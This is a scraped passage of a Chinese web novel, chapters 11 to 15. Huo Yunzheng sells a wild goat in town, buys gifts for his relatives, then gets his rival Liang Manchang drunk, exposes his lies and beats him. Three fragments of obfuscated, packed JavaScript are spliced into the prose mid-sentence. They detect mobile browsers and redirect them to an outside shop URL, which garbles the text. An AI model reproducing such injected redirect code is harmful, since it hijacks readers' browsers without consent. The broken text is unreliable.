“真的？”梁满仓那点儿不愉快马上没了，吃不到野山羊能吃兔子也好啊，那可都是肉啊。普通的农户人家，哪舍得隔三差五就吃肉啊？果然吉家有银子，自己真是来对了。 吉如意便将事情的经过简单说了一遍，见梁满仓洗净了手，又适时地将布巾递了过来，让他擦手。 霍云铮看着俩人之间完全插不进别人的样子，心里不太是滋味。 没过多久，姜临回来了，吉如意将锅盖一掀，香味瞬间溢满了鼻腔，好香。 霍云铮摸摸肚子，饿了。 吉如意将兔肉一分为二，多的那份是霍云铮的，少的那份是他的。他只是帮忙做了而已，少留下一些就是了，不能占了霍云铮的便宜。 霍云铮并没有说什么，暗暗挑起大拇指，一手端着盘子，一手扛着野山羊走了。 回到余家的时候，崔秀兰正好做好了饭，看着霍云铮扛着的野山羊叫了一声老天爷。 “村里人和我说你打了一只野山羊回来我还不信呢，没想到竟是真的！” 余禾和三个小的也围过来看，余英还想上手摸摸。 全家人夸奖的话不要钱的往出说，直说到口干舌燥，霍秀兰才突然看到霍云铮带回来的那盘菜。 霍云铮便将事情的经过说了一遍，这些日子的相处，他早已了解霍秀兰的为人，知道她不会挑理的。 果然，霍秀兰点头说道：“听说临哥儿的爹原来在镇上当过大厨，他也跟着学了些手艺。村里摆酒席，经常找他去帮忙呢。” 原来如此，怪不得吉如意的手艺也这么好。 霍云铮将兔肉放在饭桌的最中间，几个小的帮着霍秀兰把饭菜摆上，全家人一起热热闹闹地围在一起吃饭。 霍云铮打算明日一早将野山羊拿到镇上卖了，从大吉村到平安镇步行需要将近一个时辰，如果坐牛车的话，半个时辰差不多就能到。单程两文钱，来回的话只需付三文钱。 霍云铮没省这银子，花了六文钱——野山羊占了一个人的地呢。 他的野山羊再一次地成为了话题的焦点，大家从羊又夸赞到了他的身上。 甚至有人动了想要给他介绍哥儿、姐儿的心思。 之前大家都以为霍云铮只是府城里来的花架子，连田都不会种，中看不中用。这会儿看到了他还有打猎的本事，很多人就动了心。 不会种田不打紧，会打猎就行，看看陈猎户家里三天两头的就吃肉，人家的日子过得比别人滋润多了。还有人家那房子也好，不像他们冬天直漏风。 今个儿去镇上的大多都是一些老夫郎老婶子的，几乎谁家都有那没定亲的哥儿和姐儿。一有人开了头，其他人也拉开了话匣子，叽叽喳喳说个不停。 起初还含蓄地没说想将自家的哥儿，姐儿地介绍给霍云铮，也不知是谁最先说出来的，其他人不甘落后，将自家孩子夸得天花乱坠。 愣是把霍云铮说的一句话都说不出来，委委屈屈地坐在牛车一角。 刘老夫郎提高了嗓音说道：“你们都急什么，小霍还有孝在身呢。” 有人道：“我记得小霍的年纪也不小了吧，等守完了三年孝都过二十了，那年纪可就大了。要我说就在百天内将婚事办了，什么都不耽误。” “瞧你说的，好像小霍相中了你家的似的。”有人不屑道。 刘老夫郎说道：“孙桂芳，你之前不是说过不给你家哥儿找没有兄弟的吗？将来连个帮衬的人都没有。” “就是，”又有个婶子说道，“你家哥儿从前年就开始相看，没一个入得了你的眼的。怎么，你也相中小霍了？” 孙桂芳四十多岁，一双淡眉，略微有点儿吊眼梢，看人时总是带着一丝精光。一张薄唇，穿着一身棉布衣服，手腕处戴着一支银手镯，看样子就知道日子过得不错。 孙桂芳翻了个白眼：“有好的不要是傻子。” 霍云铮直觉不太喜欢这个人。 刘老夫郎冷笑道：“心眼子都让你长去了。” 孙桂芳不屑道：“你们不也是想把自家孩子给了小霍吗？谁又比谁清高，装什么装！” “还以为自己家的哥儿是天仙呢，你瞧得上人家，人家就瞧得上你了？小霍，你说是不是？” 说 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霍云铮十分认同孙桂芳评价梁满仓的话，可她连带着将意哥儿也说进去了，这就不行了。他有心想替吉如意说些什么，可他俩一个汉子，一个小哥儿，只怕会坏了吉如意的名声。但也不能让孙桂芳就这么在背后说吉如意的坏话。 霍云铮想了一下，刚要开口说话，就听周霞抢在他前面说道：“我倒要看看云哥儿能找个什么样的，别到时候还不如梁满仓，说人者不如人。” “好了好了，这一路上就听你们妯娌俩说了。你们不嫌烦，我们听着还烦呢。”刘老夫郎出言说道。 孙桂芳和周霞互看了一眼，又撇过头去，谁都不看谁。 牛车上顿时安静了下来，也没人再继续想将自己哥儿、姐儿说给霍云铮的话题了，霍云铮得以逃脱。 牛车缓缓前行，有那关系好的，三三两两地说着话。刘老夫郎挨着霍云铮，便与他搭话：“那两个都是吉家的，戴着银镯的是老二的媳妇，叫孙桂芳。那个是老六的媳妇，叫周霞。” 霍云铮斟酌了一下用词，低声问道：“与病了的吉五叔是亲兄弟吗？” 他没提意哥儿，只提了吉上进，一个汉子在外面提旁人家的哥儿，如果被有心人听去了，怕是对小哥儿不好。 刘老夫郎说道：“正是，他们兄弟姐妹一共六个，老三是姐儿，老四是哥儿，其他的都是汉子。除了老三和老四嫁出去不在咱们村，其他的都在。老二家里汉子多，日子过得比旁人家的都好，孙桂芳的眼睛就长在脑瓜顶上面了。” 说着话，也就到了镇上。 12. 第十二章 这会儿的平安镇正是热闹的时候，卖包子，馒头，热面的，大饼的，白雾袅袅。香味弥漫在空中，勾得人肚里有了馋虫。纵使吃了早饭，也还想再来点儿。 再往那边望去，卖草鞋的、卖炒货的、卖菜的、卖糖水的……一家挨着一家，小摊前来来往往很多人，有相中的就停下看一看。 小贩们此起彼伏的吆喝声，更显得集市热闹非凡，好一副人间烟火景象。 霍云铮扛着野山羊走在集市里，瞬间吸引了很多人的目光。就连那有客招待的小贩也忍不住抽空去看，好俊的小伙子，好大的力气，好大一只羊。 在家里时霍秀兰就嘱咐他南边归官府统一管辖，交上两文钱就可以卖货。霍云铮并不打算去摆摊，一只羊太少了，不值得花上两文钱，何况又不知道什么时候能卖出去，不如直接到酒楼里问问，省时又省钱。 霍云铮来的时候都打听好了，“福满堂”是平安镇最大的酒楼，有钱人的聚集地，一般人去不起。这也意味着，所需要的食材更多、更稀有。 彼时距离晌午还早着呢，来福满堂用饭的人并不多。霍云铮没有从正门进，转了一圈去了后门。 后门连着厨房，有伙计在院子里忙活着，准备着饭口时的食材。 霍云铮食指和中指微屈，敲了几下门：“请问，这里是福满堂吗？” 伙计们循声望去，见一高高大大的汉子逆光而站，容貌俊美非凡，如漂亮的小哥儿。肩上扛着一只硕大的野山羊，让人不得不惊叹他的力气。他的周边像镶了层金边，金光闪闪，好似天神下凡。 众活计一愣，马上又个机灵的回过神来，忙说道：“你先在这里等着，我去找掌柜的。” 看人下菜碟到哪里皆是如此，霍云铮的一副好相貌、好气势，纵使他衣着普通，也让伙计不敢怠慢，忙进前厅找掌柜的去了。 没多一会儿，掌柜的就来了。四十岁左右的年纪，留着山羊胡，微微发福，穿的也比普通人好很多，看样子就知道日子过得很不错。 刘掌柜听到活计风风火火地跑来说有个长得非常好看的汉子过来问要不要野山羊，一路上不停地形容汉子长得多好看。 刘掌柜心里琢磨着，他在福满堂干了有大半辈子了，往来客人无数，什么样的没见过？汉子长得能多好看？再好看还能有哥儿、姐儿好看？ 等到了后院，刘掌柜才发现自己错了，真的有比哥儿、姐儿长得还好看的汉子。汉子又高又瘦，却不显得单薄，他从来没见过有谁把粗布麻衣穿得这样好看，汉子正与伙计说些什么，气质沉稳，语气舒缓，说是大户人家的贵公子也不为过。 野山羊捆绑着放在他面前，得有两百多斤吧，就这么扛着过来的？ 刘掌柜见人无数，一看就知霍云铮并非等闲之辈，虽一身农户打扮，也并未小瞧他。 其他伙计一见刘掌柜来了，忙去干自己手上的活计，免得被骂偷懒。 去找刘掌柜的那个伙计说道：“这位就是我们的掌柜。” 霍云铮抱抱拳：“敢问阁下如何称呼？” 刘掌柜在心里对霍云铮的评价又高了一层，笑道：“免贵姓刘，小兄弟怎么称呼？” 霍云铮又抱抱拳：“刘掌柜，生意兴隆。在下霍云铮，我在山上打了一只野山羊，不知贵店收吗？” 刘掌柜又认真打量了一下羊：“好壮的羊，小兄弟好身手，八两银子我就收了。” 这已经是很实惠的价格了，刘掌柜有意交好霍云铮。他阅人无数，看得出来霍云铮并非是池中之物，所以给的价钱也公道。 霍云铮来的时候已经像霍秀兰问过各种野物的价格，虽说霍秀兰家不是猎物，但经常上镇上来，有时候见有人卖多少就好奇地问问，多少知道些大概的价格。 霍云铮自然也是知道这个价格很公道的，于是便道：“掌柜的是个痛快人，我也是个痛快人，那就照掌柜的说的价格给吧。还请掌柜的给我五两整银，其余的三两要铜板。” “好说，随我来取钱吧。”刘掌柜让伙计将羊搬进了后厨，带着霍云铮去了大堂取银子。 “你是新当上的猎户？”刘掌柜边走边问，“以前怎么没见过？” “在下刚来这边不久。”具体的霍云铮没在说，刘掌柜也没有刨根问底，每个人都有点儿小秘密。 刘掌柜叫账房取了银子，拿给霍云铮：“以后有野物的话尽管送来，我这边收不下你再拿去别处卖。如果我不在，你就找老赵。”老赵就是福满堂的账房。 霍云铮知道他是卖了自己一个人情，有一个固定的地方售卖，可比自己卖好上太多了。 霍云铮谢过了刘掌柜，将银子揣好就走。 时间还早，霍云铮打算在平安镇里逛逛，买一些东西，顺便看一看都有什么生意。他并不打算一直打猎，当积攒一定的本钱后，他打算做一个小生意。 年轻的时候打猎尚可，当老了时打不动了，家里不能没有进项。 平安镇热闹非凡，今天又是赶集的日子，人比平时还要多很多。吃的喝的用的，卖什么的都有。 霍云铮在一卖头饰的摊前停下，一眼就相中了那对黄色的发饰，说不清是什么样式，反正挺好看的。霍云铮想着余英应该会喜欢，便问道：“这对怎么卖？” 卖发饰的是一个中年婶子，瞧见霍云铮生得一副好相貌，眉开眼笑的：“那对十文。” 大晋的染色工艺已经十分发达，但要想染出鲜艳的颜色也并非十分容易。所以相同材质的东西，有的颜色卖得就更贵一些。 霍云铮瞧着不贵，将发饰拿起来：“我要了。” 又挑了两根头绳，一根红色的，一个青色的，这些都是给余英的，两根头绳又花了八文。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396398|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >霍云铮数出铜板，笑着将铜板付了。卖头饰的婶子乐的眉开眼笑的，直到霍云铮走出老远才收回视线。 他在余家住了这么长时间，承蒙余家人照顾，现在手里有了银子，自然想给余家人多花上一些。 前面正好是一家布行，霍云铮走了进去，立马受到了伙计的热情欢迎。 “客官，都需要些什么布？”伙计满脸堆笑地问道。 “都有什么布？”霍云铮头一次买布，自然是不知道的。 “有麻布，葛布，棉布，这棉布又分为粗棉布和细棉布。”伙计熟练地做着介绍，并将布料拿出来让霍云铮看。 霍云铮瞧得眼花缭乱：“哪个好？” “最好的是细棉布，”伙计心中一喜，看来是个大主顾，介绍起来愈发热情，“客官您看这料子多软和，贴身穿最好了，镇子里的人都喜欢穿细棉布。” 村里很多人都以和镇上的人一样为荣，镇上的人穿什么，他们也跟着穿了，那就证明家里日子过得好，是会被村里人羡慕的。 霍云铮又问：“什么颜色的卖得好？”他不大会挑，就想着卖得多的一定是好的，买下来准没错。 伙计问：“客官是给什么人买？是汉子，哥儿还是姐儿？” “一对中年夫妻，两个快成年的汉子，还有一个年纪小一点儿的姐儿。” 伙计麻溜地拿出几匹布来：“这几个颜色都不错，平日里卖的很好的。” 霍云铮大概看了一下，觉得还不错：“那就一样一匹吧。” 他不知道一匹布能做几件衣服，一人一匹总归是不会出错的。 伙计乐得嘴都合不上了：“客官，你自己不来一匹吗？你看这匹鸦青色的布很适合你，上面还带着暗纹呢。” 士为悦己者容，他如今心有所属，自然也好好好打扮一番的。于是便道：“我要了。” ”好咧。”伙计更高兴了，忙又道，“客官，再看看这白色的细棉布，做贴身的里衣正合适，外边穿的衣服有了，里面的也得做新的啊。” 霍云铮一想他说得对，刚要说全要了，忽然摸了摸腰板里的银子：“这些布都怎么卖？” 伙计道：“这几匹每匹七百文，这三匹七百五十文，一共四两五十文。”还是因为颜色，价格也有所不同。 还好没说全要了，要不然银子还不够了。 “那就先要这六匹，那几匹先不要了。” 伙计察言观色，便没再说什么，欢欢喜喜地将布包起来，收好了银子。 “客官慢走，客官欢迎再来。” 恭恭敬敬地送霍云铮出了门。 霍云铮又去买了果脯，猪肉，糕点，糖果，酒，又花了一千零四十六文。 要不是他还有事要干，今天卖的银子都得花出去。 霍云铮看看不到三两的银子，终于收手了。 13. 第十三章 大包小裹地来到牛车处，牛车的主人是他们大吉村人，姓吉，叫吉志，和吉如意他们家有点儿亲戚关系，不过很远。大吉村姓吉的人很家多，往上数几代都是一个祖宗。 吉志四十多岁，家里过得还不错，否则也没有银子买牛。农闲的时候就拉车载载客，多少是笔进项。 看到霍云铮买了这么多东西，吉志惊叹道：“买这么多？”尤其那几匹布，不知能做多少件衣裳，得穿到什么时候去。 霍云铮笑道：“在大姑家住了许多时日，实在是过于打扰，如今买些东西送给他们也是应该的。” 吉志再看霍云铮的目光就变了，小伙子确实不错，长得好，本领还好，还大方。方才那群夫郎婶子们想将自家的哥儿、姐儿许配给霍云铮时，他还没什么想法，这会儿他动心了。 趁着现在只有他们二人，吉志决定先下手为强，刚要说话，就听刘老夫郎的声音从后面传来。和他一样，刘老夫郎看到霍云铮买了这么大堆东西也是万分惊讶。 他一来，打断了吉志要说的话。 没过一会儿，牛车就坐满了。 与来时相比，回去的时候更加热闹。 孙桂芳看到那些东西，又动起了心思，被周霞三两句话打了回去，再一言不发。 一车人热热闹闹地回到了大吉村，牛车停到了霍秀兰家门口，东西太多，吉志还帮忙将东西搬了下来。 这样的人，就算做不成他的女婿，与他交好准没错。 霍秀兰在屋里瞧见霍云铮回来了，忙迎出来，几个小的一连串地跟在她身后。 “怎么买这么多东西？”霍秀兰拧着眉毛，她想起了那些年霍云铮他爹给他们家送东西的场面。 满满一大马车的东西，有布、有酒、有肉、有一些治疗寻常病用的药丸，还有霍府穿旧了不要了的旧衣，还有一些农具，给孩子们买的东西，大吉村没有过，他们没见过的东西等等，甚至还有银子。 霍秀兰的眼睛有些湿润，轻轻叹了口气，没有说什么。总不能辜负了霍云铮的一片好意，日后再敲打他一番，叫他省些银子就是了。 几个小的欢天喜地地往屋里搬东西，小山迎面正对上出来帮忙的余禾，将手里的酒坛子拿给他看：“爹，云铮哥还你买了酒呢。” 余禾接过酒坛子，还没打开封口，他仿佛已经闻到了酒香味。乐得合不拢嘴，直说好。 霍云铮拿出给余英买的头饰，小姑娘高兴地拍手跳起来，左一句云铮哥哥真好，右一句谢谢云铮哥哥的。 两个小汉子也有各自的小玩意，拿着飞快地跑了。 霍秀兰笑道：“他俩都多大了，小山都能相看人家了，你还给他们买这种东西。” 霍云铮也笑道：“没成亲呢，就是孩子。” 霍秀兰一样一样看霍云铮买回来的东西，终究是忍不住问：“这些都花了多少银子？” “卖野山羊的银子还有呢，”霍云铮知道她在担忧什么，“大姑你放心，我心里有数的。” 大家都挺高兴的，霍秀兰也不好说什么扫兴的话。 梁满仓刚开始除草还算尽心，只过了一天，懒病就犯了，将地头锄好以后，往地里一趟，什么都不干了。回去的时候只说都锄好了。他就不信了，吉如意能一根垄一根垄地进去看。 吉如意还真就一根垄一根垄地看了，越看越是不满，越看火气越旺，等到最后只剩下失望了。 忍了一肚子火气，找到梁满仓说了此事。 梁满仓死不承认，刚开始说已经全都锄好了，吉如意定是看错了。后来又说兴许是落下了，最后又说可能锄错了地方，等他明天再去锄一遍总行了吧。 吉如意刚要说些什么，恰好此时霍云铮来了。 一看到那个混蛋和如意在一起就生气，霍云铮深吸了一口气，调整了一下表情，笑道：“梁兄明天可有时间？” “干什么？”梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396399|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满仓的语气不是很好，被吉如意质问了半天，本来就是强忍着怒火。又见霍云铮来了，别不是找他帮工的吧。 农户人家在农闲之时，家里有什么事要干。比如，盖猪圈、扒炕等等零碎的活。家里人干不过来，通常会找村里的汉子帮忙干，不用付工钱，主家供饭就可以了。当然，帮工的时间不会太长，短则半日，长则一日，若是干的时间久了，就是要付工钱了。 都是一个村子住着，平日里过日子，谁家都会有什么事情，今日你帮了我，明日我才会帮你。 霍云铮按捺住心中的不快：“不知道梁兄明天有没有空？如果有空的话，我想请梁兄去平安镇吃饭。” 梁满仓一听大喜，村子里的人去镇上的酒楼吃饭那都是一件很有面子的事，能被拿出来说很久的。 “有有有。”他连忙答应下来，“那就这么说定了，明天咱们去镇里。” 生怕霍云铮反悔似的，梁满仓连连说道。 吉如意心越来越凉，深深地看了一眼，什么都没说，一步一步慢慢往回走。 霍云铮忍不住去看，他的背影很落寞很孤寂，如今晚的孤月。 吉如意抬头望望天，看着逐渐变圆的明月，当月亮最大最圆时，就是他的大喜之日。 真的是大喜吗？ 曾经有多欢喜，现在就有多失望。低下头，掩住所有苦涩。 不管太阳底下的生活如何，太阳始终一如既往地升起。 吉如意干完家里的活，寻了个想买些东西的由头去了平安镇。 梁满仓一而再再而三的地让他失望，他打算去他曾经做工的地方打听打听，他究竟是个什么样的人。 虽说早在定亲之前，吉自强就已经帮他打听过了。可那时若是有人被梁满仓收买了呢？不管如何，他都要亲自去看看。 姜临不疑有他，只以为他是想买些为婚事准备的东西。给了他一些银子，嘱咐了几句就随他去了。 14. 第十四章 梁满仓生怕霍云铮反悔，早早地来到霍秀兰家找他。 霍云铮暗暗冷笑，长腿一伸，出去迎他。 又是坐着吉志的牛车去的平安镇，这回车上的人换了一批。谁家没事也不能总去镇上，更何况坐牛车还得花银子，有很多家里都舍不得。 霍云铮再一次成为这群夫郎、婶子们的焦点。 又是夸个子高，又是夸长得好，又是夸本事强的，叽叽喳喳说个不停。 霍云铮有些不自在，以后不坐牛车了，攒些银子买个板车，他拉着板车去镇上卖猎物。 坐牛车的汉子只有两个，他和梁满仓。大家把所有的注意力都集中到了他的身上，梁满仓拉拉着一张脸，明显地不高兴。 看他不高兴，霍云铮就高兴了，从方才的不自在瞬间转变为热情，夸夸其谈的，哄的一众老夫郎老婶子合不拢嘴的笑。 快到平安镇的时候，终于有一个老婶子注意到了梁满仓：“这不是吉老五家的那个女婿吗？你也去镇上？打短工吗？” 霍云铮忙将话接过来：“我和满仓兄到镇上吃点儿饭。” 他并没有说是他请，还是在大家面前给梁满仓留那么一点儿面子的，这对他一会儿的计划也更有利。但明眼人都知道怎么回事，梁满仓穷得叮当响，根本去不起镇上吃饭。 霍云铮早就打听好了一家经济又实惠的饭馆，与福满堂肯定是比不了的，但也是很不错的。 福满堂那种大酒楼，他兜里的银子只怕是去不起。再说了，梁满仓根本不值得他花大价钱去那么好的酒楼，以后有了银子带如意去。 梁满仓自踏进门时，下巴立马抬了起来，拿鼻孔看人。 霍云铮越发看他不顺眼，小二忙迎了过来。 饭馆没有雅间，霍云铮就选了一处偏僻的角落。 梁满仓一副大爷的做派：“你们店都有什么好吃的啊？” 小二一连串报了一堆的菜名，梁满仓终于想起了霍云铮：“小霍，你想吃什么？”他故意这么叫，好像这样就能比霍云铮高出一头似的。 “我随便，”霍云铮笑道，“我请你吃饭，自然是以你为先的，你满意了就好。” 这句话说的梁满仓心花怒放，转而又问小二：“你们店都有什么好吃的？” 小二又报了几个菜名。 梁满仓毫不客气地说道：“那就照你说的都来上一道。” 小二迟疑地看向霍云铮：“客官，这几样菜价格……何况你们二人也吃不了这么多。” “无妨，都来上一道吧。”霍云铮早就打听好这家店的菜价了，这顿饭他是请的起的。 霍云铮又对梁满仓说道：“梁兄，你看看还需要些什么？尽管点，请梁兄吃饭，自然是要尽兴才是。” 梁满仓一点儿都没客气，又点了几道。有菜就得有酒，又要了店里最好的酒。 不多时，菜陆续上来了，霍云铮尝了一口，味道确实不错，可比起吉如意做的差远了。 梁满仓却吃的香，刚开始的时候霍云铮并未怎么说话，看时机差不多了，拿起酒杯说道：“我再敬梁兄一杯，我在村子里也不识得几个人，以后还请梁兄多多关照才是。” “好说好说。”霍云铮的低姿态让梁满仓那点儿莫名其妙的自尊心得到了极大的满足。 “用杯子喝不过瘾，咱们用碗喝怎么样？”霍云铮提议道。 梁满仓自然没意见：“说得对，用碗喝才叫真汉子！” 霍云铮叫小二拿来了两个大海碗，给梁满仓倒了满满一海碗的酒，做出一个请的手势：“梁兄请。” 梁满仓端过大海碗，咕咚咕咚全喝了。 霍云铮赞叹道：“梁总好酒量，来来来，再喝一碗。” 又给梁满仓倒了一海碗，梁满仓又全都喝了，霍云铮又夸，又倒，又喝。 梁满仓一连喝了三碗，霍云铮将酒坛子放下：“梁兄，再吃些，一会儿再喝。” “好……好，嗝……”梁满仓打了个酒嗝，拿起筷子加菜，“这菜怎么动呢？别动，别动。” 霍云铮一看时机成熟了，就是现在，嘴角勾起一抹笑来：“我听说梁兄是打南边过来的？” “啊，是啊。”梁满仓喝的双眼朦胧，意识也有些不清醒。 霍云铮冷笑，还打南边过来的，他那乱七八糟的口音都没了，这分明就是本地口音，看来他身上的秘密不少啊。 “南边什么地方？”霍云铮又问。 梁满仓皱着眉想了一下，他当初编的是什么地方的来着？忘了。 “喝……喝酒。” 看样子还没醉的太厉害，还知道用喝酒掩饰了。 霍云铮又给倒了一碗：“来，喝！梁兄看还缺些什么，要不要再点点儿？” “现在吃不下……等会儿……等会儿再说。” 霍云铮压低声音又道：“不知梁兄有没有去过那种地方？” “哪种地方？”梁满仓没明白。 “就是那种能让汉子逍遥快活的地方。”霍云铮用了一个汉子都懂的眼神。 梁满仓果然明白了，一脸的□□：“怎么，你想去？” 霍云铮一副懂的都懂的样子：“这不是不知道地方吗？梁兄走南闯北多年，想必是见多识广。” 一句话，把梁满仓说的由内而外的舒坦，他又自己喝了一口酒：“我不是吹，平安镇里谁家哥儿，姐儿好，谁家来了新人我都知道。” 霍云铮微微眯眼，不仅是个骗子，还是个淫.棍。 “哦？”霍云铮引他继续说。 梁满仓果然顺着他的话继续说下去，将自己惯常去的地方，交好的妓子都说了出来。最后说道：“不过，要说好看还是意哥儿最好看，我从来没见过像他那么好看的人，就是不知道意哥儿在床上能不能放得开。” 霍云铮的手恰好拿着酒坛要给他倒 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终于能把他藏着的秘密都问出来了。梁满仓根本不是南边的人，他就是土生土长的本地人！ 家住在古榆村，距离大吉村将近两个时辰的路程。 此时的梁满仓已浑然不知自己将所有的秘密全都泄露出去了，已喝的不知今夕何夕，趴在桌子上直叫霍云铮带他去花柳巷。 霍云铮像拖死狗似的将他拖起，总不能将他扔在这里给店家添麻烦。 他付了账，这顿饭几乎掏空了他的家底，只剩下八十二文。 今晚是阴天，乌云遮住了月。天已经很晚了，家家户户早已关门入睡。 霍云铮连拖带拽地将梁满仓带到了一个小巷里，他并不打算把他带回去。 “雅芬，雅芬，娘子，给我倒碗水。”梁满仓嘴里嘟嘟囔囔，“快点儿的！渴了！” 娘子？还有没问出来的？他竟然还有娘子！ 霍云铮问：“谁是雅芬？” “我娘子啊。”梁满仓问什么说什么，“快点儿让她给我倒碗水喝。” “你娶妻了？”霍云铮的拳头攥得咯吱咯吱响。 “娶了，怎么了？”梁满仓十分不满，“水怎么还没拿来啊？” 霍云铮再也忍不住，斗大的拳头雨点似的落在梁满仓身上。他等这一天已经很久了，早就想揍他了。 疼得梁满仓哀叫连连，霍云铮揍了他一通，终于发泄完了火气，神清气爽地走了。 霍秀兰早就站在家门口等候多时，天一黑了她就坐不住，总是出来看霍云铮回来没有。 见霍云铮回来了，终于放下心来，不免唠叨了几句，让他以后不要这么晚回来。 霍云铮兴奋得很，一点儿睡意都没有，只到天快亮时才闭了一会儿眼。早上吃过饭后，急匆匆出了村。 15. 第十五章 吉如意刚打开院门，就叫吉勤奋满脸焦急地朝这边来。 “大伯，早啊。” “意哥儿，满仓在你家吗？”吉勤奋着急地问。 “没啊，他不是一直在大伯家住吗？”吉如意侧过身，让吉勤奋进来。 吉勤奋道：“他昨晚没回来，所以我想着是不是上你家来住了？” “怎么了这是？”姜临看见俩人说话，走了过来。 “大伯说梁满仓昨晚没回去。”吉如意说道。 姜临皱眉：“一晚上都没回去？” “没有啊，所以才着急呢，不会出什么事吧。昨晚我也是睡过去了，等他一会儿好了，可也没想到他一晚上没回来。”吉勤奋的语气里充满着懊恼。 吉如意安慰他：“大伯你别急。他昨天不是和霍云铮去镇里喝酒了吗？兴许是俩人喝多了，就在镇里住下了。” 姜临也道：“是啊，小年轻到一起喝酒就没个度，许是喝多了没回来。” 吉如意道：“不如咱们去霍家看看霍云铮回没回来。” “对对对，瞧我急糊涂了，”吉勤奋一听，脸上带了一丝喜色，“咱们去霍家问问。” 姜临道：“意哥儿，你与你大伯去吧，我就不去了。” 他们刚刚起来，吉上进的药还没煎，饭没做，鸡没喂，院子没扫。去霍家用不上这么多的人，让吉如意跟着去就行。 吉如意答应着，与吉上进去了霍家。 捡到霍秀兰一问，霍秀兰也挺惊讶，说霍云铮昨天夜里已经回来了。 “他婶子，小霍在屋吗？问问他满仓怎么没回来。”吉勤奋说道。 霍秀兰道：“他早上就走了，连饭都没吃。” 吉如意问：“他去哪儿了？” “应该是上了山吧，”霍秀兰说道，“他最近总往山上跑。” 霍云铮回来了，梁满仓却没回来。 该不是去妓馆了吧，吉如意想。 该不是出什么事了吧，吉勤奋想。 吉勤奋迅速做出决定：“意哥儿，你去我家把你大哥二哥找来。我去你二伯和六叔家里，咱们一起往镇上找找。” 吉如意答应着刚要走，忽然村头那边一瘸一拐走来一人。他看了片刻，蹙眉道：“大伯，你看那个人是不是梁满仓？” 吉勤奋定睛一看，一拍大腿：“可不就是满仓吗？” 说着，他急忙朝那边跑去。弟弟一家不容易，意哥儿好不容易将亲事定了下来，可不能出了茬子。 “满仓，你怎么才回来？”离着老远，吉勤奋就大声喊道。 梁满仓醒来后只觉得头疼，浑身疼。怎么睡街头的，昨晚后来发生了什么，他一概不记得。最后的记忆只停留在霍云铮要带他去妓馆。 身上不知什么时候被狗尿了一泡，发出难闻的味道。 吉如意站得离他远了些：“你这是怎么了？走路怎么变这样了？” “摔了一跤。”梁满仓没说实话，他认为应该是哪个缺德的看他在街头睡着，上去揍了他一顿，总不能是霍云铮揍的吧。这事也不是没有过，他之前看别人喝多了躺在街上，就上前揍了那人一顿。没有什么恩怨，单纯地想揍他而已。说让人打了丢面子，不如说是摔了。 “你怎么现在才回来？”吉如意又问。 吉勤奋打着圆场：“满仓刚回来，让他先回去洗个澡，吃点儿饭，再睡一觉，有些话等以后再说吧。” 吉如意便不好再说什么，看着梁满仓一瘸一拐地狼狈样，知道他没说实话，心里有了几分厌恶。 他昨天按照梁满仓所说的，以前做过短工的地方打听了，梁满仓确实在那里干过。干活刚开始还卖力，没多久就偷奸耍滑。前些日子，还给了一起干活的每人五文钱，让他们如果有人来打听了，帮他多说几句好话。 吉如意边往家走边想，若是只这般也就罢了，等他们俩成完亲，他生下孩子以后，俩人能在一起过就继续过，过不了就和离。他带着孩子一样能过得很好，更何况村子里有叔叔伯伯们在，想必梁满仓也不敢把他怎么样。 至于爱情，那不是他能奢望的东西。 可若是梁满仓还瞒着他许多事呢？做过一些突破底线，让他无法原谅的事呢？这个亲还要成吗？不成的话又该怎么办？ 吉如意心里乱糟糟的，不管怎么样，他都要弄清楚才是，看来梁满仓还有没有事瞒着他。不如灌他些酒？让他酒后吐真言。 姜临看他这么快回来了，忙问道：“找到满仓了？” “他回来了。”吉如意将所有的忧愁全都收起来，做出一副若无其事的样子，“跟大伯去他家了。” 姜临刚好将院子扫完，把扫帚放在角落里：“他怎么才回来？怎么说的？” 吉如意道：“回来的时候摔伤了，在医馆待了一夜。” 姜临一听，担忧道：“严重吗？待会儿我看看他去。” “没什么事，骨头都没坏，”吉如意阻止，“都是皮肉伤。” 姜临道：“那做些好的让他过来吃。” 吉如意不好再说什么：“我去把鸡放出来。” 放鸡之前，要先把鸡食弄好。要不然等鸡全都出来了，再添食时，会一窝蜂地朝着食槽涌去，你争我抢，挤挤挨挨的很不好喂，还容易把鸡食弄到鸡身上去。 吉如意将食盆取来，舀了三碗稻糠，半碗苞米面。苞米都是能卖钱的，就少放一些。稻糠人不能吃，再说里面还有碎米粒呢，村里子的人都拿来喂鸡，喂猪的。 认真说起来，稻糠并非不能吃，有日子过得艰难的人家，也是会吃的。他小的时候，姜临曾经和他说过，在没嫁过来的时候，他也吃过呢。 不过现在大家的日子过得越来越好，那种东西就极少有人吃了。 吉如意把鸡放出来以后，见姜临在做饭，他便去熬吉上进要吃的药。 姜临本来打算去吉勤奋家里看看梁满仓，但吉上进今天起来精神不是很好，饭都没吃几口就躺下了。 姜临无心再做别的事，只想好好照顾吉上进。便让吉如意一会儿自己去看看，他就不去了。 吉如意忧心忡忡，这段时日以来，明显瞅着大爹爹比以前好了很多，他甚至以为他能这么好起来，可怎么突然就严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 